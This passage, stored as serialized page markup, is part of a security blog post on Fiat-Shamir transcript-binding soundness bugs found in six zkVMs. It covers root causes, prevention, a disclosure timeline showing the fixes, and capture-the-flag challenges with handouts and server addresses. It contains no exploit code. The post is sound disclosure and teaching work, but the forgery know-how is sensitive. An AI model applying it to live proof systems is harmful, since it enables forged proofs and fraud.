85,"children":123987},{"className":123986},[23671],[123988],{"type":28,"value":5746},{"type":22,"tag":118,"props":123990,"children":123992},{"className":123991},[6023,23542],[123993],{"type":28,"value":5243},{"type":22,"tag":118,"props":123995,"children":123997},{"className":123996},[23693],[123998],{"type":28,"value":17386},{"type":22,"tag":118,"props":124000,"children":124002},{"className":124001,"style":6105},[6104],[],{"type":22,"tag":118,"props":124004,"children":124006},{"className":124005},[6110],[124007],{"type":28,"value":112905},{"type":22,"tag":118,"props":124009,"children":124011},{"className":124010,"style":6105},[6104],[],{"type":22,"tag":118,"props":124013,"children":124015},{"className":124014},[6012],[124016,124021,124030,124035,124040,124045,124049,124106,124111,124115,124120],{"type":22,"tag":118,"props":124017,"children":124020},{"className":124018,"style":124019},[6017],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":22,"tag":118,"props":124022,"children":124024},{"className":124023},[6023,28],[124025],{"type":22,"tag":118,"props":124026,"children":124028},{"className":124027},[6023],[124029],{"type":28,"value":114232},{"type":22,"tag":118,"props":124031,"children":124033},{"className":124032},[23671],[124034],{"type":28,"value":540},{"type":22,"tag":118,"props":124036,"children":124038},{"className":124037},[6023,23542],[124039],{"type":28,"value":5243},{"type":22,"tag":118,"props":124041,"children":124043},{"className":124042},[6136],[124044],{"type":28,"value":6139},{"type":22,"tag":118,"props":124046,"children":124048},{"className":124047,"style":6143},[6104],[],{"type":22,"tag":118,"props":124050,"children":124052},{"className":124051},[6023],[124053,124058],{"type":22,"tag":118,"props":124054,"children":124056},{"className":124055,"style":94643},[6023,23542],[124057],{"type":28,"value":95462},{"type":22,"tag":118,"props":124059,"children":124061},{"className":124060},[6040],[124062],{"type":22,"tag":118,"props":124063,"children":124065},{"className":124064},[6045,23596],[124066,124095],{"type":22,"tag":118,"props":124067,"children":124069},{"className":124068},[6050],[124070,124090],{"type":22,"tag":118,"props":124071,"children":124073},{"className":124072,"style":95172},[6055],[124074],{"type":22,"tag":118,"props":124075,"children":124076},{"style":111642},[124077,124081],{"type":22,"tag":118,"props":124078,"children":124080},{"className":124079,"style":6065},[6064],[],{"type":22,"tag":118,"props":124082,"children":124084},{"className":124083},[6070,6071,6072,6073],[124085],{"type":22,"tag":118,"props":124086,"children":124088},{"className":124087,"style":115866},[6023,23542,6073],[124089],{"type":28,"value":10658},{"type":22,"tag":118,"props":124091,"children":124093},{"className":124092},[23699],[124094],{"type":28,"value":23702},{"type":22,"tag":118,"props":124096,"children":124098},{"className":124097},[6050],[124099],{"type":22,"tag":118,"props":124100,"children":124102},{"className":124101,"style":120553},[6055],[124103],{"type":22,"tag":118,"props":124104,"children":124105},{},[],{"type":22,"tag":118,"props":124107,"children":124109},{"className":124108},[23693],[124110],{"type":28,"value":3627},{"type":22,"tag":118,"props":124112,"children":124114},{"className":124113,"style":6105},[6104],[],{"type":22,"tag":118,"props":124116,"children":124118},{"className":124117},[6110],[124119],{"type":28,"value":112905},{"type":22,"tag":118,"props":124121,"children":124123},{"className":124122,"style":6105},[6104],[],{"type":22,"tag":118,"props":124125,"children":124127},{"className":124126},[6012],[124128,124132,124141,124146,124151,124156,124160,124170,124175,124184,124189,124198],{"type":22,"tag":118,"props":124129,"children":124131},{"className":124130,"style":94585},[6017],[],{"type":22,"tag":118,"props":124133,"children":124135},{"className":124134},[6023,28],[124136],{"type":22,"tag":118,"props":124137,"children":124139},{"className":124138},[6023],[124140],{"type":28,"value":114232},{"type":22,"tag":118,"props":124142,"children":124144},{"className":124143},[23671],[124145],{"type":28,"value":540},{"type":22,"tag":118,"props":124147,"children":124149},{"className":124148,"style":123923},[6023,23542],[124150],{"type":28,"value":51512},{"type":22,"tag":118,"props":124152,"children":124154},{"className":124153},[6136],[124155],{"type":28,"value":6139},{"type":22,"tag":118,"props":124157,"children":124159},{"className":124158,"style":6143},[6104],[],{"type":22,"tag":118,"props":124161,"children":124163},{"className":124162},[6023,28],[124164],{"type":22,"tag":118,"props":124165,"children":124167},{"className":124166},[6023],[124168],{"type":28,"value":124169},"inout",{"type":22,"tag":118,"props":124171,"children":124173},{"className":124172,"style":94643},[6023],[124174],{"type":28,"value":3422},{"type":22,"tag":118,"props":124176,"children":124178},{"className":124177},[6023,28],[124179],{"type":22,"tag":118,"props":124180,"children":124182},{"className":124181},[6023],[124183],{"type":28,"value":39489},{"type":22,"tag":118,"props":124185,"children":124187},{"className":124186,"style":94643},[6023],[124188],{"type":28,"value":3422},{"type":22,"tag":118,"props":124190,"children":124192},{"className":124191},[6023,28],[124193],{"type":22,"tag":118,"props":124194,"children":124196},{"className":124195},[6023],[124197],{"type":28,"value":119428},{"type":22,"tag":118,"props":124199,"children":124201},{"className":124200},[23693],[124202],{"type":28,"value":3627},{"type":22,"tag":31,"props":124204,"children":124205},{},[124206,124208,124213,124215,124288],{"type":28,"value":124207},"With challenges fixed (independent of ",{"type":22,"tag":114,"props":124209,"children":124211},{"className":124210},[],[124212],{"type":28,"value":63616},{"type":28,"value":124214},"), an attacker can find an alternate witness ",{"type":22,"tag":114,"props":124216,"children":124218},{"className":124217},[5995,5996],[124219],{"type":22,"tag":118,"props":124220,"children":124222},{"className":124221},[6001],[124223],{"type":22,"tag":118,"props":124224,"children":124226},{"className":124225,"ariaHidden":6007},[6006],[124227],{"type":22,"tag":118,"props":124228,"children":124230},{"className":124229},[6012],[124231,124236],{"type":22,"tag":118,"props":124232,"children":124235},{"className":124233,"style":124234},[6017],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":22,"tag":118,"props":124237,"children":124239},{"className":124238},[6023],[124240,124249],{"type":22,"tag":118,"props":124241,"children":124243},{"className":124242},[6023,28],[124244],{"type":22,"tag":118,"props":124245,"children":124247},{"className":124246},[6023],[124248],{"type":28,"value":63616},{"type":22,"tag":118,"props":124250,"children":124252},{"className":124251},[6040],[124253],{"type":22,"tag":118,"props":124254,"children":124256},{"className":124255},[6045],[124257],{"type":22,"tag":118,"props":124258,"children":124260},{"className":124259},[6050],[124261],{"type":22,"tag":118,"props":124262,"children":124265},{"className":124263,"style":124264},[6055],"height:0.8362em;",[124266],{"type":22,"tag":118,"props":124267,"children":124269},{"style":124268},"top:-3.1473em;margin-right:0.05em;",[124270,124274],{"type":22,"tag":118,"props":124271,"children":124273},{"className":124272,"style":6065},[6064],[],{"type":22,"tag":118,"props":124275,"children":124277},{"className":124276},[6070,6071,6072,6073],[124278],{"type":22,"tag":118,"props":124279,"children":124281},{"className":124280},[6023,6073],[124282],{"type":22,"tag":118,"props":124283,"children":124285},{"className":124284},[6023,6073],[124286],{"type":28,"value":124287},"′",{"type":28,"value":124289}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":22,"tag":31,"props":124291,"children":124292},{},[124293,124297,124299],{"type":22,"tag":74,"props":124294,"children":124295},{},[124296],{"type":28,"value":118353},{"type":28,"value":124298}," Fixed on December 29, 2025 via ",{"type":22,"tag":42,"props":124300,"children":124303},{"href":124301,"rel":124302},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[46],[124304],{"type":28,"value":124305},"commit 86a515f",{"type":22,"tag":20760,"props":124307,"children":124308},{},[],{"type":22,"tag":23,"props":124310,"children":124312},{"id":124311},"why-does-this-keep-happening",[124313],{"type":28,"value":124314},"Why Does This Keep Happening?",{"type":22,"tag":31,"props":124316,"children":124317},{},[124318],{"type":28,"value":124319},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":22,"tag":1289,"props":124321,"children":124323},{"id":124322},"academic-papers-dont-specify-fiat-shamir",[124324],{"type":28,"value":124325},"Academic Papers Don't Specify Fiat-Shamir",{"type":22,"tag":31,"props":124327,"children":124328},{},[124329,124331,124336,124338,124363,124365,124368,124370,124395,124397,124424],{"type":28,"value":124330},"Academic papers usually describe ",{"type":22,"tag":4764,"props":124332,"children":124333},{},[124334],{"type":28,"value":124335},"interactive",{"type":28,"value":124337}," protocols: \"Prover sends ",{"type":22,"tag":114,"props":124339,"children":124341},{"className":124340},[5995,5996],[124342],{"type":22,"tag":118,"props":124343,"children":124345},{"className":124344},[6001],[124346],{"type":22,"tag":118,"props":124347,"children":124349},{"className":124348,"ariaHidden":6007},[6006],[124350],{"type":22,"tag":118,"props":124351,"children":124353},{"className":124352},[6012],[124354,124358],{"type":22,"tag":118,"props":124355,"children":124357},{"className":124356,"style":23537},[6017],[],{"type":22,"tag":118,"props":124359,"children":124361},{"className":124360,"style":24074},[6023,23542],[124362],{"type":28,"value":117872},{"type":28,"value":124364},". Verifier sends",{"type":22,"tag":32907,"props":124366,"children":124367},{},[],{"type":28,"value":124369},"random ",{"type":22,"tag":114,"props":124371,"children":124373},{"className":124372},[5995,5996],[124374],{"type":22,"tag":118,"props":124375,"children":124377},{"className":124376},[6001],[124378],{"type":22,"tag":118,"props":124379,"children":124381},{"className":124380,"ariaHidden":6007},[6006],[124382],{"type":22,"tag":118,"props":124383,"children":124385},{"className":124384},[6012],[124386,124390],{"type":22,"tag":118,"props":124387,"children":124389},{"className":124388,"style":112484},[6017],[],{"type":22,"tag":118,"props":124391,"children":124393},{"className":124392,"style":94643},[6023,23542],[124394],{"type":28,"value":95462},{"type":28,"value":124396},". Prover sends ",{"type":22,"tag":114,"props":124398,"children":124400},{"className":124399},[5995,5996],[124401],{"type":22,"tag":118,"props":124402,"children":124404},{"className":124403},[6001],[124405],{"type":22,"tag":118,"props":124406,"children":124408},{"className":124407,"ariaHidden":6007},[6006],[124409],{"type":22,"tag":118,"props":124410,"children":124412},{"className":124411},[6012],[124413,124417],{"type":22,"tag":118,"props":124414,"children":124416},{"className":124415,"style":23537},[6017],[],{"type":22,"tag":118,"props":124418,"children":124421},{"className":124419,"style":124420},[6023,23542],"margin-right:0.00773em;",[124422],{"type":28,"value":124423},"R",{"type":28,"value":124425},".\"",{"type":22,"tag":31,"props":124427,"children":124428},{},[124429,124431,124456,124458,124483],{"type":28,"value":124430},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":22,"tag":114,"props":124432,"children":124434},{"className":124433},[5995,5996],[124435],{"type":22,"tag":118,"props":124436,"children":124438},{"className":124437},[6001],[124439],{"type":22,"tag":118,"props":124440,"children":124442},{"className":124441,"ariaHidden":6007},[6006],[124443],{"type":22,"tag":118,"props":124444,"children":124446},{"className":124445},[6012],[124447,124451],{"type":22,"tag":118,"props":124448,"children":124450},{"className":124449,"style":23537},[6017],[],{"type":22,"tag":118,"props":124452,"children":124454},{"className":124453,"style":24074},[6023,23542],[124455],{"type":28,"value":117872},{"type":28,"value":124457}," before sampling ",{"type":22,"tag":114,"props":124459,"children":124461},{"className":124460},[5995,5996],[124462],{"type":22,"tag":118,"props":124463,"children":124465},{"className":124464},[6001],[124466],{"type":22,"tag":118,"props":124467,"children":124469},{"className":124468,"ariaHidden":6007},[6006],[124470],{"type":22,"tag":118,"props":124471,"children":124473},{"className":124472},[6012],[124474,124478],{"type":22,"tag":118,"props":124475,"children":124477},{"className":124476,"style":112484},[6017],[],{"type":22,"tag":118,"props":124479,"children":124481},{"className":124480,"style":94643},[6023,23542],[124482],{"type":28,"value":95462},{"type":28,"value":124484},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":22,"tag":31,"props":124486,"children":124487},{},[124488],{"type":28,"value":124489},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":22,"tag":1289,"props":124491,"children":124493},{"id":124492},"the-hot-potato-problem",[124494],{"type":28,"value":124495},"The Hot Potato Problem",{"type":22,"tag":31,"props":124497,"children":124498},{},[124499],{"type":28,"value":124500},"Modern zkVMs are modular:",{"type":22,"tag":31,"props":124502,"children":124503},{},[124504],{"type":22,"tag":5928,"props":124505,"children":124508},{"alt":124506,"src":124507},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":22,"tag":31,"props":124510,"children":124511},{},[124512],{"type":28,"value":124513},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":22,"tag":1289,"props":124515,"children":124517},{"id":124516},"optimization-pressure",[124518],{"type":28,"value":124519},"Optimization Pressure",{"type":22,"tag":31,"props":124521,"children":124522},{},[124523],{"type":28,"value":124524},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":22,"tag":31,"props":124526,"children":124527},{},[124528],{"type":28,"value":124529},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":22,"tag":1289,"props":124531,"children":124533},{"id":124532},"testing-doesnt-catch-adversarial-inputs",[124534],{"type":28,"value":124535},"Testing Doesn't Catch Adversarial Inputs",{"type":22,"tag":31,"props":124537,"children":124538},{},[124539],{"type":28,"value":124540},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":22,"tag":20760,"props":124542,"children":124543},{},[],{"type":22,"tag":23,"props":124545,"children":124547},{"id":124546},"how-to-find-and-fix-these-bugs",[124548],{"type":28,"value":124549},"How to Find and Fix These Bugs",{"type":22,"tag":1289,"props":124551,"children":124553},{"id":124552},"prevention",[124554],{"type":28,"value":124555},"Prevention",{"type":22,"tag":31,"props":124557,"children":124558},{},[124559],{"type":28,"value":124560},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":22,"tag":31,"props":124562,"children":124563},{},[124564],{"type":28,"value":124565},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":22,"tag":31,"props":124567,"children":124568},{},[124569],{"type":28,"value":124570},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":22,"tag":31,"props":124572,"children":124573},{},[124574],{"type":28,"value":124575},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":22,"tag":31,"props":124577,"children":124578},{},[124579],{"type":28,"value":124580},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":22,"tag":20760,"props":124582,"children":124583},{},[],{"type":22,"tag":23,"props":124585,"children":124587},{"id":124586},"responsible-disclosure-timeline",[124588],{"type":28,"value":124589},"Responsible Disclosure Timeline",{"type":22,"tag":57685,"props":124591,"children":124592},{},[124593,124621],{"type":22,"tag":124594,"props":124595,"children":124596},"thead",{},[124597],{"type":22,"tag":124598,"props":124599,"children":124600},"tr",{},[124601,124606,124611,124616],{"type":22,"tag":124602,"props":124603,"children":124604},"th",{},[124605],{"type":28,"value":25156},{"type":22,"tag":124602,"props":124607,"children":124608},{},[124609],{"type":28,"value":124610},"Reported",{"type":22,"tag":124602,"props":124612,"children":124613},{},[124614],{"type":28,"value":124615},"Fixed",{"type":22,"tag":124602,"props":124617,"children":124618},{},[124619],{"type":28,"value":124620},"Response Time",{"type":22,"tag":124622,"props":124623,"children":124624},"tbody",{},[124625,124648,124669,124689,124711,124732],{"type":22,"tag":124598,"props":124626,"children":124627},{},[124628,124633,124638,124643],{"type":22,"tag":124629,"props":124630,"children":124631},"td",{},[124632],{"type":28,"value":109456},{"type":22,"tag":124629,"props":124634,"children":124635},{},[124636],{"type":28,"value":124637},"Sep 2025",{"type":22,"tag":124629,"props":124639,"children":124640},{},[124641],{"type":28,"value":124642},"Oct 3, 2025",{"type":22,"tag":124629,"props":124644,"children":124645},{},[124646],{"type":28,"value":124647},"\u003C1 week",{"type":22,"tag":124598,"props":124649,"children":124650},{},[124651,124655,124660,124665],{"type":22,"tag":124629,"props":124652,"children":124653},{},[124654],{"type":28,"value":109462},{"type":22,"tag":124629,"props":124656,"children":124657},{},[124658],{"type":28,"value":124659},"Oct 2025",{"type":22,"tag":124629,"props":124661,"children":124662},{},[124663],{"type":28,"value":124664},"Oct 24, 2025",{"type":22,"tag":124629,"props":124666,"children":124667},{},[124668],{"type":28,"value":124647},{"type":22,"tag":124598,"props":124670,"children":124671},{},[124672,124676,124680,124685],{"type":22,"tag":124629,"props":124673,"children":124674},{},[124675],{"type":28,"value":109468},{"type":22,"tag":124629,"props":124677,"children":124678},{},[124679],{"type":28,"value":124659},{"type":22,"tag":124629,"props":124681,"children":124682},{},[124683],{"type":28,"value":124684},"Oct 31, 2025",{"type":22,"tag":124629,"props":124686,"children":124687},{},[124688],{"type":28,"value":124647},{"type":22,"tag":124598,"props":124690,"children":124691},{},[124692,124696,124701,124706],{"type":22,"tag":124629,"props":124693,"children":124694},{},[124695],{"type":28,"value":109474},{"type":22,"tag":124629,"props":124697,"children":124698},{},[124699],{"type":28,"value":124700},"Nov 2025",{"type":22,"tag":124629,"props":124702,"children":124703},{},[124704],{"type":28,"value":124705},"Mar 5, 2026",{"type":22,"tag":124629,"props":124707,"children":124708},{},[124709],{"type":28,"value":124710},"~4 months",{"type":22,"tag":124598,"props":124712,"children":124713},{},[124714,124718,124723,124728],{"type":22,"tag":124629,"props":124715,"children":124716},{},[124717],{"type":28,"value":109486},{"type":22,"tag":124629,"props":124719,"children":124720},{},[124721],{"type":28,"value":124722},"Dec 2025",{"type":22,"tag":124629,"props":124724,"children":124725},{},[124726],{"type":28,"value":124727},"Dec 29, 2025",{"type":22,"tag":124629,"props":124729,"children":124730},{},[124731],{"type":28,"value":124647},{"type":22,"tag":124598,"props":124733,"children":124734},{},[124735,124739,124743,124748],{"type":22,"tag":124629,"props":124736,"children":124737},{},[124738],{"type":28,"value":109480},{"type":22,"tag":124629,"props":124740,"children":124741},{},[124742],{"type":28,"value":124700},{"type":22,"tag":124629,"props":124744,"children":124745},{},[124746],{"type":28,"value":124747},"Jan 21, 2026?",{"type":22,"tag":124629,"props":124749,"children":124750},{},[124751],{"type":28,"value":124752},"3 months",{"type":22,"tag":31,"props":124754,"children":124755},{},[124756],{"type":28,"value":124757},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":22,"tag":20760,"props":124759,"children":124760},{},[],{"type":22,"tag":23,"props":124762,"children":124764},{"id":124763},"challenges",[124765],{"type":28,"value":109499},{"type":22,"tag":31,"props":124767,"children":124768},{},[124769,124771],{"type":28,"value":124770},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":22,"tag":124772,"props":124773,"children":124774},"del",{},[124775],{"type":28,"value":124776},"the first 10 solvers will get a T-shirt.",{"type":22,"tag":31,"props":124778,"children":124779},{},[124780,124782,124835,124836,125092],{"type":28,"value":124781},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":22,"tag":114,"props":124783,"children":124785},{"className":124784},[5995,5996],[124786],{"type":22,"tag":118,"props":124787,"children":124789},{"className":124788},[6001],[124790],{"type":22,"tag":118,"props":124791,"children":124793},{"className":124792,"ariaHidden":6007},[6006],[124794],{"type":22,"tag":118,"props":124795,"children":124797},{"className":124796},[6012],[124798,124802,124807,124812,124816,124821,124826,124830],{"type":22,"tag":118,"props":124799,"children":124801},{"className":124800,"style":116698},[6017],[],{"type":22,"tag":118,"props":124803,"children":124805},{"className":124804},[6023,23542],[124806],{"type":28,"value":42},{"type":22,"tag":118,"props":124808,"children":124810},{"className":124809},[6136],[124811],{"type":28,"value":6139},{"type":22,"tag":118,"props":124813,"children":124815},{"className":124814,"style":6143},[6104],[],{"type":22,"tag":118,"props":124817,"children":124819},{"className":124818},[6023,23542],[124820],{"type":28,"value":5243},{"type":22,"tag":118,"props":124822,"children":124824},{"className":124823},[6136],[124825],{"type":28,"value":6139},{"type":22,"tag":118,"props":124827,"children":124829},{"className":124828,"style":6143},[6104],[],{"type":22,"tag":118,"props":124831,"children":124833},{"className":124832},[6023,23542],[124834],{"type":28,"value":5169},{"type":28,"value":111299},{"type":22,"tag":114,"props":124837,"children":124839},{"className":124838},[5995,5996],[124840],{"type":22,"tag":118,"props":124841,"children":124843},{"className":124842},[6001],[124844],{"type":22,"tag":118,"props":124845,"children":124847},{"className":124846,"ariaHidden":6007},[6006],[124848,124911,124973,125079],{"type":22,"tag":118,"props":124849,"children":124851},{"className":124850},[6012],[124852,124857,124898,124902,124907],{"type":22,"tag":118,"props":124853,"children":124856},{"className":124854,"style":124855},[6017],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":22,"tag":118,"props":124858,"children":124860},{"className":124859},[6023],[124861,124866],{"type":22,"tag":118,"props":124862,"children":124864},{"className":124863},[6023,23542],[124865],{"type":28,"value":42},{"type":22,"tag":118,"props":124867,"children":124869},{"className":124868},[6040],[124870],{"type":22,"tag":118,"props":124871,"children":124873},{"className":124872},[6045],[124874],{"type":22,"tag":118,"props":124875,"children":124877},{"className":124876},[6050],[124878],{"type":22,"tag":118,"props":124879,"children":124881},{"className":124880,"style":6018},[6055],[124882],{"type":22,"tag":118,"props":124883,"children":124884},{"style":6059},[124885,124889],{"type":22,"tag":118,"props":124886,"children":124888},{"className":124887,"style":6065},[6064],[],{"type":22,"tag":118,"props":124890,"children":124892},{"className":124891},[6070,6071,6072,6073],[124893],{"type":22,"tag":118,"props":124894,"children":124896},{"className":124895},[6023,6073],[124897],{"type":28,"value":19260},{"type":22,"tag":118,"props":124899,"children":124901},{"className":124900,"style":6105},[6104],[],{"type":22,"tag":118,"props":124903,"children":124905},{"className":124904},[6110],[124906],{"type":28,"value":3220},{"type":22,"tag":118,"props":124908,"children":124910},{"className":124909,"style":6105},[6104],[],{"type":22,"tag":118,"props":124912,"children":124914},{"className":124913},[6012],[124915,124919,124960,124964,124969],{"type":22,"tag":118,"props":124916,"children":124918},{"className":124917,"style":6018},[6017],[],{"type":22,"tag":118,"props":124920,"children":124922},{"className":124921},[6023],[124923,124928],{"type":22,"tag":118,"props":124924,"children":124926},{"className":124925},[6023,23542],[124927],{"type":28,"value":5243},{"type":22,"tag":118,"props":124929,"children":124931},{"className":124930},[6040],[124932],{"type":22,"tag":118,"props":124933,"children":124935},{"className":124934},[6045],[124936],{"type":22,"tag":118,"props":124937,"children":124939},{"className":124938},[6050],[124940],{"type":22,"tag":118,"props":124941,"children":124943},{"className":124942,"style":6018},[6055],[124944],{"type":22,"tag":118,"props":124945,"children":124946},{"style":6059},[124947,124951],{"type":22,"tag":118,"props":124948,"children":124950},{"className":124949,"style":6065},[6064],[],{"type":22,"tag":118,"props":124952,"children":124954},{"className":124953},[6070,6071,6072,6073],[124955],{"type":22,"tag":118,"props":124956,"children":124958},{"className":124957},[6023,6073],[124959],{"type":28,"value":19260},{"type":22,"tag":118,"props":124961,"children":124963},{"className":124962,"style":6202},[6104],[],{"type":22,"tag":118,"props":124965,"children":124967},{"className":124966},[6207],[124968],{"type":28,"value":282},{"type":22,"tag":118,"props":124970,"children":124972},{"className":124971,"style":6202},[6104],[],{"type":22,"tag":118,"props":124974,"children":124976},{"className":124975},[6012],[124977,124982,125023,125028,125032,125037,125042,125046,125051,125056,125060,125065,125069,125075],{"type":22,"tag":118,"props":124978,"children":124981},{"className":124979,"style":124980},[6017],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":22,"tag":118,"props":124983,"children":124985},{"className":124984},[6023],[124986,124991],{"type":22,"tag":118,"props":124987,"children":124989},{"className":124988},[6023,23542],[124990],{"type":28,"value":5169},{"type":22,"tag":118,"props":124992,"children":124994},{"className":124993},[6040],[124995],{"type":22,"tag":118,"props":124996,"children":124998},{"className":124997},[6045],[124999],{"type":22,"tag":118,"props":125000,"children":125002},{"className":125001},[6050],[125003],{"type":22,"tag":118,"props":125004,"children":125006},{"className":125005,"style":6018},[6055],[125007],{"type":22,"tag":118,"props":125008,"children":125009},{"style":6059},[125010,125014],{"type":22,"tag":118,"props":125011,"children":125013},{"className":125012,"style":6065},[6064],[],{"type":22,"tag":118,"props":125015,"children":125017},{"className":125016},[6070,6071,6072,6073],[125018],{"type":22,"tag":118,"props":125019,"children":125021},{"className":125020},[6023,6073],[125022],{"type":28,"value":19260},{"type":22,"tag":118,"props":125024,"children":125026},{"className":125025},[6136],[125027],{"type":28,"value":6139},{"type":22,"tag":118,"props":125029,"children":125031},{"className":125030,"style":6143},[6104],[],{"type":22,"tag":118,"props":125033,"children":125035},{"className":125034},[6023,23542],[125036],{"type":28,"value":42},{"type":22,"tag":118,"props":125038,"children":125040},{"className":125039},[6136],[125041],{"type":28,"value":6139},{"type":22,"tag":118,"props":125043,"children":125045},{"className":125044,"style":6143},[6104],[],{"type":22,"tag":118,"props":125047,"children":125049},{"className":125048},[6023,23542],[125050],{"type":28,"value":5243},{"type":22,"tag":118,"props":125052,"children":125054},{"className":125053},[6136],[125055],{"type":28,"value":6139},{"type":22,"tag":118,"props":125057,"children":125059},{"className":125058,"style":6143},[6104],[],{"type":22,"tag":118,"props":125061,"children":125063},{"className":125062},[6023,23542],[125064],{"type":28,"value":5169},{"type":22,"tag":118,"props":125066,"children":125068},{"className":125067,"style":6202},[6104],[],{"type":22,"tag":118,"props":125070,"children":125072},{"className":125071},[6207],[125073],{"type":28,"value":125074},"≥",{"type":22,"tag":118,"props":125076,"children":125078},{"className":125077,"style":6202},[6104],[],{"type":22,"tag":118,"props":125080,"children":125082},{"className":125081},[6012],[125083,125087],{"type":22,"tag":118,"props":125084,"children":125086},{"className":125085,"style":95674},[6017],[],{"type":22,"tag":118,"props":125088,"children":125090},{"className":125089},[6023],[125091],{"type":28,"value":6026},{"type":28,"value":125093},". Good luck!",{"type":22,"tag":1289,"props":125095,"children":125097},{"id":125096},"jolt",[125098],{"type":28,"value":109456},{"type":22,"tag":31,"props":125100,"children":125101},{},[125102,125104,125115,125117],{"type":28,"value":125103},"See ",{"type":22,"tag":42,"props":125105,"children":125112},{"href":125106,"target":125107,"rel":125108,"download":125111},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[125109,125110],"noopener","noreferrer","handout_jolt.tar.gz",[125113],{"type":28,"value":125114},"the handout",{"type":28,"value":125116}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":22,"tag":114,"props":125118,"children":125120},{"className":125119},[],[125121],{"type":28,"value":125122},"jolt.chal.osec.io:8960",{"type":22,"tag":1289,"props":125124,"children":125126},{"id":125125},"nexus-1",[125127],{"type":28,"value":109462},{"type":22,"tag":31,"props":125129,"children":125130},{},[125131,125132,125139,125140],{"type":28,"value":125103},{"type":22,"tag":42,"props":125133,"children":125137},{"href":125134,"target":125107,"rel":125135,"download":125136},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[125109,125110],"handout_nexus.tar.gz",[125138],{"type":28,"value":125114},{"type":28,"value":125116},{"type":22,"tag":114,"props":125141,"children":125143},{"className":125142},[],[125144],{"type":28,"value":125145},"nexus.chal.osec.io:8950",{"type":22,"tag":31,"props":125147,"children":125148},{},[125149],{"type":28,"value":125150},"Now you should have enough margin to prove Fermat wrong.",{"type":22,"tag":20760,"props":125152,"children":125153},{},[],{"type":22,"tag":23,"props":125155,"children":125157},{"id":125156},"takeaways",[125158],{"type":28,"value":125159},"Takeaways",{"type":22,"tag":31,"props":125161,"children":125162},{},[125163],{"type":28,"value":125164},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":22,"tag":31,"props":125166,"children":125167},{},[125168],{"type":28,"value":125169},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":22,"tag":31,"props":125171,"children":125172},{},[125173,125178],{"type":22,"tag":74,"props":125174,"children":125175},{},[125176],{"type":28,"value":125177},"For the ZK ecosystem:",{"type":28,"value":125179}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":22,"tag":31,"props":125181,"children":125182},{},[125183],{"type":28,"value":125184},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":22,"tag":31,"props":125186,"children":125187},{},[125188,125193],{"type":22,"tag":74,"props":125189,"children":125190},{},[125191],{"type":28,"value":125192},"For auditors:",{"type":28,"value":125194}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":22,"tag":31,"props":125196,"children":125197},{},[125198,125203],{"type":22,"tag":74,"props":125199,"children":125200},{},[125201],{"type":28,"value":125202},"For builders:",{"type":28,"value":125204}," Treat the transcript as a sacred ledger. When in doubt, absorb 